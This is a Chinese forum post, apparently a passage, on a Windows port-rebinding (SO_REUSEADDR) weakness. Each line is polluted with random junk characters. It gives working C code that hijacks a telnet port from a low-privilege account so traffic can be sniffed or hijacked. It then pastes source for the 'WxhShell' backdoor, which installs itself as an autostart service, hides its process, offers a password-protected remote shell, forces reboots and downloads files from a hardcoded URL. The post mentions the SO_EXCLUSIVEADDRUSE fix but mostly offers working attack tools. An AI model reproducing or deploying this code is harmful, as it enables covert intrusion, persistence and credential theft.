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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7Dx <Sr!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2NqO,B|R  
JVNp= ikK  
  saddr.sin_family = AF_INET; iED gcg7  
gA DF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); " [K>faV  
GMoE,L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Nc[u?-  
K(p6P3Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jg%jmI;Y  
kT4Tb%7KM  
  这意味着什么?意味着可以进行如下的攻击: ;PX>] r5U0  
Q2!vO4!<N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >[gNQJ6  
gLPgh%B4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s4{>7`N2  
+,ojlTVlt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [5Pin>]z  
2t"&>1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ."JtR  
c o%-d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6"Rw&3D?  
%C(^v)"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 si3@R?WR6*  
=G%L:m*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i6D66E  
Q"sszz  
  #include 4BAG GD2  
  #include S -KHot ?  
  #include p v*n.U6  
  #include    $n@B:kv5p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   InR/g@n+D1  
  int main() "E )0)A3=  
  { JQ]A"xTIa*  
  WORD wVersionRequested; WkR=(dss8  
  DWORD ret; 924a1  
  WSADATA wsaData; H)O I&?  
  BOOL val; yMbg1+:   
  SOCKADDR_IN saddr; ,[<+7  
  SOCKADDR_IN scaddr; @a}jnl(2  
  int err; Omy<Y@$  
  SOCKET s; )wueR5P  
  SOCKET sc; E(G&mfhb  
  int caddsize; ?mJ&zf|B8  
  HANDLE mt; M[7$cfp-Y~  
  DWORD tid;   !qF t:{-h  
  wVersionRequested = MAKEWORD( 2, 2 ); ?_b zg'  
  err = WSAStartup( wVersionRequested, &wsaData ); V`XtGTx  
  if ( err != 0 ) { %/Y;  
  printf("error!WSAStartup failed!\n"); _iZ_.3 Ip  
  return -1; ky-9I<Z,,  
  } r5S5;jL%t  
  saddr.sin_family = AF_INET; &+zS4)UK  
   &)v}oHy,m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9&} i[x4  
DDwm;,eZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R\d)kcy4  
  saddr.sin_port = htons(23); sW]fPa(cn,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,c9K]>8m`  
  { =S:Snk%  
  printf("error!socket failed!\n"); RYuR&0_{  
  return -1; zyi;vu  
  } wmnh7'|0u  
  val = TRUE; MGE8S$Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QNe siV0MI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wPrqFpf  
  { /[RO>Z9  
  printf("error!setsockopt failed!\n"); #:LI,t  
  return -1;  d| OEZx  
  } %d"d<pvx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DZE@C^ 0%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _?QVc0S!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #9ZHt5T=$  
M=Cl|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =/SBZLR(9  
  { ]XhX aoqL  
  ret=GetLastError(); wY6m^g$h3  
  printf("error!bind failed!\n"); G=l-S\0@  
  return -1; YecV+ K'p:  
  } XlDN)b5v{  
  listen(s,2); `4kVe= {  
  while(1) ].r~?9'/  
  { {IA3`y~  
  caddsize = sizeof(scaddr); ztb?4f q6)  
  //接受连接请求 ^'ac |+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e'0BP,\f_}  
  if(sc!=INVALID_SOCKET) Uon^z?0A  
  { ?0J&U4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -b$m<\0*  
  if(mt==NULL) 4(D/~OG-6  
  { ]<Kkq !  
  printf("Thread Creat Failed!\n"); " ';K$&,[  
  break; *~SanL\  
  } SA[wF c  
  } iw\yVd^]:k  
  CloseHandle(mt); ^M6R l0  
  } I)wc&>Lc  
  closesocket(s); f'?FYBL  
  WSACleanup(); *9O@DF&*6  
  return 0; <b#1L  
  }   &-zW1wf  
  DWORD WINAPI ClientThread(LPVOID lpParam) L| K8  
  { OD;F{Hc  
  SOCKET ss = (SOCKET)lpParam; {DWL 5V#M  
  SOCKET sc; &UfP8GE9  
  unsigned char buf[4096]; RBOg;EJ  
  SOCKADDR_IN saddr; ]wm<$+@  
  long num; ;nbV-<e  
  DWORD val; (utk)  
  DWORD ret; ?8]g&V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q"F" 13  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8]j*z n?,  
  saddr.sin_family = AF_INET; L-eO_tTh0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <@H`5[R  
  saddr.sin_port = htons(23); _ 2 oZhJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s&7TARd  
  { Ci(c`1av  
  printf("error!socket failed!\n"); ( we)0AxF'  
  return -1; u1;sH{YK>  
  } k$3Iv"gbx  
  val = 100; dwJnPJ=z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) </]a`h]  
  { y/>IF|aX  
  ret = GetLastError(); uF<}zFS  
  return -1; x@#aOf4<U  
  } nAaY5s0D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xVN(It7g  
  { fR>"d<;T  
  ret = GetLastError(); ]e6$ ={  
  return -1; Q4ZKgcC  
  } 8@,8j!$8G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s((c@)M  
  { }?^]-`b  
  printf("error!socket connect failed!\n"); d}Xb8SaE%c  
  closesocket(sc); pc2;2^U_  
  closesocket(ss); -BcnJK0  
  return -1; q1pB~eg5  
  }  OEnCN  
  while(1) 9 iV_  
  { ~CuJ$(9Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pS+hE4D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Te2 C<c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )|wC 1J!L  
  num = recv(ss,buf,4096,0); =A{s,UP  
  if(num>0) ftxy]N LF  
  send(sc,buf,num,0); 9";qR,  
  else if(num==0) 21[=xboU  
  break; d.yATP  
  num = recv(sc,buf,4096,0); of8 >xvE|  
  if(num>0) # 1 1<=3Yj  
  send(ss,buf,num,0); *I.eCMDa  
  else if(num==0) [\-)c[/  
  break; s"5wnp6pW  
  } Y1G/1Z# 2  
  closesocket(ss); 4^T_" W}  
  closesocket(sc); P,@/ap7J  
  return 0 ; ~JHEr48  
  } ZRj/lQ2D  
^cCNQS}r  
?7uK:'8  
========================================================== x %W%  
X`28?  
下边附上一个代码,,WXhSHELL NA=m<n#  
4*'ZabDD  
========================================================== i}5M'~ F  
apjoIO-<  
#include "stdafx.h" hc*tQ2  
_B0C]u3D  
#include <stdio.h> aC94g7)`  
#include <string.h> |7QSr!{_  
#include <windows.h> ~S\,  
#include <winsock2.h> xnxNc5$oE  
#include <winsvc.h> >i"WKd=  
#include <urlmon.h> B#r"|x#[  
Je4hQJ<h  
#pragma comment (lib, "Ws2_32.lib") gg/2R?O]  
#pragma comment (lib, "urlmon.lib") :.u2^*<  
G=er0(7<  
#define MAX_USER   100 // 最大客户端连接数 Rj3ad3z'E  
#define BUF_SOCK   200 // sock buffer KAgxIz!^-1  
#define KEY_BUFF   255 // 输入 buffer |$g} &P8;  
_rg*K  
#define REBOOT     0   // 重启 ?[;>1+D  
#define SHUTDOWN   1   // 关机 liMw(F2  
N}nE?|N=5  
#define DEF_PORT   5000 // 监听端口 o)n= n!A  
7{\6EC}d[&  
#define REG_LEN     16   // 注册表键长度 ~r_2V$sC2  
#define SVC_LEN     80   // NT服务名长度 TE: |w Xe  
kB.CeG]tk  
// 从dll定义API k$GtzjN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2~R%_r+<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Q\ hd*+g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (TU/EU5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3L36 2  
aNBwb9X  
// wxhshell配置信息 Gk xtGe  
struct WSCFG { wg<t*6&'x  
  int ws_port;         // 监听端口 45k.U$<|  
  char ws_passstr[REG_LEN]; // 口令 =]S,p7*7  
  int ws_autoins;       // 安装标记, 1=yes 0=no B(f_~]  
  char ws_regname[REG_LEN]; // 注册表键名 +j %y#_~  
  char ws_svcname[REG_LEN]; // 服务名 kbo9nY1k g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &?}A/(#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nk;^sq4M:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a$\ Bt_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1 @i/N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nt\0) &b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^*w}+tB  
"T*1C=  
}; .>Qa3,v5  
3m$ck$  
// default Wxhshell configuration [8Fn0A  
struct WSCFG wscfg={DEF_PORT, ?aI. Z+#  
    "xuhuanlingzhe", Ri\\Yb  
    1, f!H/X%F  
    "Wxhshell", H%>^_:h  
    "Wxhshell", B<ue}t  
            "WxhShell Service", > `mV^QD  
    "Wrsky Windows CmdShell Service", %=$Knc_!T^  
    "Please Input Your Password: ", >.I9S{7  
  1, uA V7T/'  
  "http://www.wrsky.com/wxhshell.exe", ZL:SJ,C  
  "Wxhshell.exe" 6AoKuT;  
    }; ^$X|Lq  
{u+=K-Bj  
// 消息定义模块 [ . }Uzx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j#xGB]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "dT"6,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 10)RLh|+  
char *msg_ws_ext="\n\rExit."; $f%om)  
char *msg_ws_end="\n\rQuit."; 'rTJ*1i  
char *msg_ws_boot="\n\rReboot..."; GaV}@Q  
char *msg_ws_poff="\n\rShutdown..."; nSRNd A  
char *msg_ws_down="\n\rSave to "; |o+*Iy)  
b 0qA  
char *msg_ws_err="\n\rErr!"; UB+7]S  
char *msg_ws_ok="\n\rOK!"; 4oL .Bt  
ahQY-%>  
char ExeFile[MAX_PATH]; 4j8$& ~/  
int nUser = 0; {pA&Q{ ^  
HANDLE handles[MAX_USER]; mi.,Z`]o  
int OsIsNt; 3@:O1i  
MkhD*\D /  
SERVICE_STATUS       serviceStatus; dS\!tdHP-Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -2(?O`tZ  
~KV{m  
// 函数声明 =XK}eQ_d  
int Install(void); ,FXc_BCx4  
int Uninstall(void); qWx{eRp d  
int DownloadFile(char *sURL, SOCKET wsh); ve:Oe{Ie{  
int Boot(int flag); 8&nb@l  
void HideProc(void); 3,K\ZUU.,  
int GetOsVer(void); dPbn[*:  
int Wxhshell(SOCKET wsl); ~9xkiu5~  
void TalkWithClient(void *cs); ^d@2Y0hH  
int CmdShell(SOCKET sock); tRO=k34  
int StartFromService(void); >rJ**y  
int StartWxhshell(LPSTR lpCmdLine); ~)n[Vf  
<*WGvCh%w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3fA+{Y8S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IsShAi  
TZ `Ypi7r  
// 数据结构和表定义 KVr9kcs  
SERVICE_TABLE_ENTRY DispatchTable[] = GzBPI'C  
{ l~w^I|M^C  
{wscfg.ws_svcname, NTServiceMain}, seRf q&  
{NULL, NULL} /.=aA~|  
}; @56*r@4:q  
6yO5{._M  
// 自我安装 QnP?j&  
int Install(void) G+Bk!o  
{ '2hy%  
  char svExeFile[MAX_PATH]; 2g~ @99`  
  HKEY key; <QO1Yg7}  
  strcpy(svExeFile,ExeFile); 0kNKt(_  
REYvFx?i  
// 如果是win9x系统,修改注册表设为自启动 ;obOr~Jx'5  
if(!OsIsNt) { d7mn(= &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vo+.s#wN`h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9_nbMs   
  RegCloseKey(key); '=%`;?j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $(+xhn(O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K0>+-p oL  
  RegCloseKey(key); 8 aIqc  
  return 0;  S,ea[$_  
    } /}J_2  
  } ;']u}Nh  
} @x!,iT  
else { .@%L8_sMR  
v|\#wrCT?  
// 如果是NT以上系统,安装为系统服务 |cP:1CRzi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TnKv)%VF  
if (schSCManager!=0) ?QzL#iO }h  
{ L6DYunh}^N  
  SC_HANDLE schService = CreateService rfYa<M Qc  
  ( lS#: u-k  
  schSCManager, +3o0GJ   
  wscfg.ws_svcname, <\fA}b  
  wscfg.ws_svcdisp, ?|/K(}  
  SERVICE_ALL_ACCESS, *9uNM@7&0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^_g%c&H  
  SERVICE_AUTO_START, Kw$@_~BJ6  
  SERVICE_ERROR_NORMAL, :o8|P  
  svExeFile, ~]QQaP  
  NULL, L\UGC%]9  
  NULL, "]kzt ux  
  NULL, &P>& T  
  NULL, !02y'JS1  
  NULL aL*MCgb'  
  ); [Eccj`\e g  
  if (schService!=0) %OB>FY:|  
  { IW&*3I<K  
  CloseServiceHandle(schService); +Ugy=678Tr  
  CloseServiceHandle(schSCManager); > Xh=P%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jex\5  
  strcat(svExeFile,wscfg.ws_svcname); !=PH5jTY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {? Y \T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2 oV6#!{Z  
  RegCloseKey(key); [DDe}D3C  
  return 0; /RMtCa~  
    } i{TPf1OY`M  
  } -j]c(Q MA]  
  CloseServiceHandle(schSCManager); YY:{/0?  
} yn$1nt4  
} +_$s9`@]6  
xw_klHL-o  
return 1; R9 Ab.t  
} ]Idwy|eG  
T4Vp0i  
// 自我卸载 {U$XHG  
int Uninstall(void) R]e&JoY  
{ A[^#8evaK  
  HKEY key; dor1(@no|  
k ,ldi  
if(!OsIsNt) { G+Z ,i c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Yx<"2 W  
  RegDeleteValue(key,wscfg.ws_regname); $[?N^   
  RegCloseKey(key); /<n7 iIK)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [?|yQ x  
  RegDeleteValue(key,wscfg.ws_regname); }2LWDQ;po  
  RegCloseKey(key); vA!IcDP"  
  return 0; LKp;sV  
  } UkpTK8>&  
} *]NfT}}  
} /;+\6(+X  
else { 3@\/5I xn  
*#b e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m(MQ  
if (schSCManager!=0) ar\|D\0V  
{ -dO8Uis$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IqFcrU$4  
  if (schService!=0) I&#:/|{:5  
  { 2t_g\Q  
  if(DeleteService(schService)!=0) { ;$zvm`|:  
  CloseServiceHandle(schService); .Z'NH wCy  
  CloseServiceHandle(schSCManager); \%Y`>x.  
  return 0; \A01 1R&  
  } VBPtM{ g  
  CloseServiceHandle(schService); F nXm;k,9*  
  } |8~)3P k  
  CloseServiceHandle(schSCManager); TP {\V>*Yz  
} CEkUXsp  
} RV_I&HD!  
2( 0%{*m  
return 1; _b&26!gl  
} 1uN;JN `_  
4gC(zJ  
// 从指定url下载文件 @O'NJh{D`  
int DownloadFile(char *sURL, SOCKET wsh) U)Hc 7% e  
{ X>yDj]*4P  
  HRESULT hr; )Jk$j  
char seps[]= "/"; "5<!   
char *token; g[1>|Ax`'  
char *file; ]?H12xz  
char myURL[MAX_PATH]; - K?lhu  
char myFILE[MAX_PATH]; ^*`#+*C  
CN ( :  
strcpy(myURL,sURL); 0Zwx3[bq6K  
  token=strtok(myURL,seps); qhvT,"  
  while(token!=NULL) 3{|~'5*  
  { 1!G}*38;  
    file=token; ,(Zxd4?y  
  token=strtok(NULL,seps); ; 8DtnnE  
  } BRM `/s  
{g1"{  
GetCurrentDirectory(MAX_PATH,myFILE); Ul /m]b6-  
strcat(myFILE, "\\"); \1joW#  
strcat(myFILE, file); 9%|skTgIqH  
  send(wsh,myFILE,strlen(myFILE),0); ^ '|y^t  
send(wsh,"...",3,0); LH_H yP_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (>A#|N1U  
  if(hr==S_OK) 4GF3.?3  
return 0; " Zhh>cz  
else )uOtQ0  
return 1; #GlFm?/6K/  
+em!TO  
} B-]bhA4|:  
!9NF@e'&!  
// 系统电源模块 zEO~mJzo  
int Boot(int flag) '+{yg+#/wV  
{ yp$jLBA  
  HANDLE hToken; Hy\q{  
  TOKEN_PRIVILEGES tkp; WHBGhU  
X9|*`h<  
  if(OsIsNt) { X)hpbHa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1ow,'FztPt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tjRw bnT"  
    tkp.PrivilegeCount = 1; X$ \CC18  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mxF+Fp~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PVF :p7  
if(flag==REBOOT) { N atC}k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  w (RRu~J  
  return 0; TO5y.M|7  
} ibZ[U p?  
else { % vy,A*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gr&e]M[l  
  return 0; #tHYCSr]  
} &x\)] i2f  
  } 'D`lVUB  
  else { dtY8>klI  
if(flag==REBOOT) { `ql8y'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d2i ?FT>  
  return 0; dl8f]y#Q  
} BC_<1 c  
else { k6z ]-XG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 +-Go}I  
  return 0; bws}'#-*  
} iR9duP+  
} uwI"V|g%a&  
Q.eD:@%iE  
return 1; H'udxPF  
} .!L{yU,  
--"5yGOL  
// win9x进程隐藏模块 P3W3+pwq  
void HideProc(void) '[8w8,v(  
{ bXOM=T  
nM &a2Z,T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R"HV|Dm|m  
  if ( hKernel != NULL ) CfS;F  
  { XX90 Is  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .p=J_%K}0x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ws2?sn#x  
    FreeLibrary(hKernel); DAf@-~c  
  } @>$qb|j  
>#&25,Q  
return; ucz~y! 4L{  
} <w*WL_P  
.Ow8C  
// 获取操作系统版本 CF-tod  
int GetOsVer(void) YW~ 9N  
{ N$t<&5 +  
  OSVERSIONINFO winfo; h,&{m*q&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F?FfRzZ[  
  GetVersionEx(&winfo); tK uJ &I~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~&<vAgy,  
  return 1; Crj7n/mp]s  
  else ]gnEo.R  
  return 0; 7Q Ns q  
} +3XaAk  
f>Ua7!b  
// 客户端句柄模块 P{ %Urv{U  
int Wxhshell(SOCKET wsl) ^^!G{ *F  
{ :eL[nyQr  
  SOCKET wsh; U}Puq5[ ?  
  struct sockaddr_in client; uJ0'`Q?6R9  
  DWORD myID; nvwf!iU6  
[FF}HWf  
  while(nUser<MAX_USER) nTtEv~a_n  
{ :EYUBtTj  
  int nSize=sizeof(client); j$ lf>.[I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z;1r=p#s  
  if(wsh==INVALID_SOCKET) return 1; 9Qu(RbDqC  
| X#!5u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); stW G`>X  
if(handles[nUser]==0) s~>1TxJe  
  closesocket(wsh); aqK+ u.H  
else #U w X~  
  nUser++; 8EdaxeDq  
  } .=-a1p/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O/#uQn}  
+03/A`PKrB  
  return 0; 6;s[dw5T  
} 2)0J@r'  
QT!>izgc U  
// 关闭 socket +C,/BuG  
void CloseIt(SOCKET wsh) 0,@^<G8?  
{ F1-C8V2H  
closesocket(wsh); u&TXN;I,p  
nUser--; t54?<-  
ExitThread(0); 2,g4yXws5  
} [.Fq l+  
[7 r^fD A  
// 客户端请求句柄 tq'ri-c&b  
void TalkWithClient(void *cs) 2cIbX  
{ 1 \aTA,  
[S~Bt78d%r  
  SOCKET wsh=(SOCKET)cs; 1/;E8{  
  char pwd[SVC_LEN]; i0+e3!QU  
  char cmd[KEY_BUFF]; I#;dS!W"'  
char chr[1]; [ "3s  
int i,j; .Oc j|A6  
(.Ak*  
  while (nUser < MAX_USER) {  CDuA2e  
L$);50E  
if(wscfg.ws_passstr) { |`o1B;lc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w8UUeF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t18j2P>`  
  //ZeroMemory(pwd,KEY_BUFF); EVaHb;  
      i=0; 6:; >id${  
  while(i<SVC_LEN) { LCj3{>{/=  
/5L\:eX%  
  // 设置超时 ?mK&Slh.  
  fd_set FdRead; 3pW4Ul@e  
  struct timeval TimeOut; H-u SdT  
  FD_ZERO(&FdRead); d2gYB qag  
  FD_SET(wsh,&FdRead); rMjb,2*rC7  
  TimeOut.tv_sec=8; 2&]LZ:(  
  TimeOut.tv_usec=0; )Qe]!$tqfD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I 2OQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5cU:wc  
Rcw[`q3/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T!41[vm(  
  pwd=chr[0]; Ck %if  
  if(chr[0]==0xd || chr[0]==0xa) { B B69U  
  pwd=0; -}!mi V  
  break; OX]P;#4tU  
  } }#4Ek8nFR  
  i++; cjg~?R  
    } +U_1B%e(%  
gCG #?f  
  // 如果是非法用户,关闭 socket 0} &/n>F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LdNpb;*  
}  s7:H  
#Y   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6~W@$SP,F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~@-r  
ybFxz  
while(1) { ~$[fG}C.K  
q^zG+FN  
  ZeroMemory(cmd,KEY_BUFF); -D=Sj@G  
kRX?o'U~C  
      // 自动支持客户端 telnet标准   GGcODjY>  
  j=0; w3>11bE  
  while(j<KEY_BUFF) { ?r8hl.Z>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X?< L<:.  
  cmd[j]=chr[0]; Qyx~={ .C~  
  if(chr[0]==0xa || chr[0]==0xd) { @b^$h:H  
  cmd[j]=0; 4L{]!dox  
  break; > 3(,s^  
  } L1(-xNUo_i  
  j++; pO:]3qv  
    } C8Mx>6  
F?H=2mzKbz  
  // 下载文件 &zEBfr  
  if(strstr(cmd,"http://")) { =GF=_Ac  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h:?qd  
  if(DownloadFile(cmd,wsh)) );t+~YPS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u'_}4qhCC;  
  else Y0EX{oxt1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYY]+)k?  
  } G?XA",AC  
  else { Mb\(52`)Q  
,>kVVpu  
    switch(cmd[0]) { Ng W"wh  
  0hGmOUO  
  // 帮助 U Xpp1/d|e  
  case '?': { vF'>?O?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;sAGTq  
    break; i}v.x  
  } oS9Od8  
  // 安装 ~ @xPoD&  
  case 'i': { .n YlYY'   
    if(Install()) Y&Fg2_\">  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H7;, Kr  
    else Y2.zT6i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7t<MHdw  
    break; h| wdx(4  
    } ?#Z4Dg 9|  
  // 卸载 \ ya@9OA  
  case 'r': { |#Lz0<c;  
    if(Uninstall()) p?cc Bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9VY{[ V  
    else g\.$4N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,3f>-mP  
    break; ku]?"{Xx  
    } T7.SjR6X>  
  // 显示 wxhshell 所在路径 ug ;Xoh5w  
  case 'p': { 0^u Ut-  
    char svExeFile[MAX_PATH]; ~:f..|JM  
    strcpy(svExeFile,"\n\r"); R"P-+T=7M  
      strcat(svExeFile,ExeFile); R*lq7n9  
        send(wsh,svExeFile,strlen(svExeFile),0); 9oO~UP!ag  
    break; 1kL8EPT%o  
    } \'Et)uD*  
  // 重启 wW)(mY?   
  case 'b': { +M_ _\7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4E=v)C'  
    if(Boot(REBOOT)) W9tZX5V1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mkk.8AjC|  
    else { _[Imwu}  
    closesocket(wsh); a4 N f\7  
    ExitThread(0); ][?J8F  
    } QOg >|"KL  
    break; `m<O!I"A  
    } 3Zd,"/RH  
  // 关机 zN[& iKf  
  case 'd': { ,z/aT6M?H  
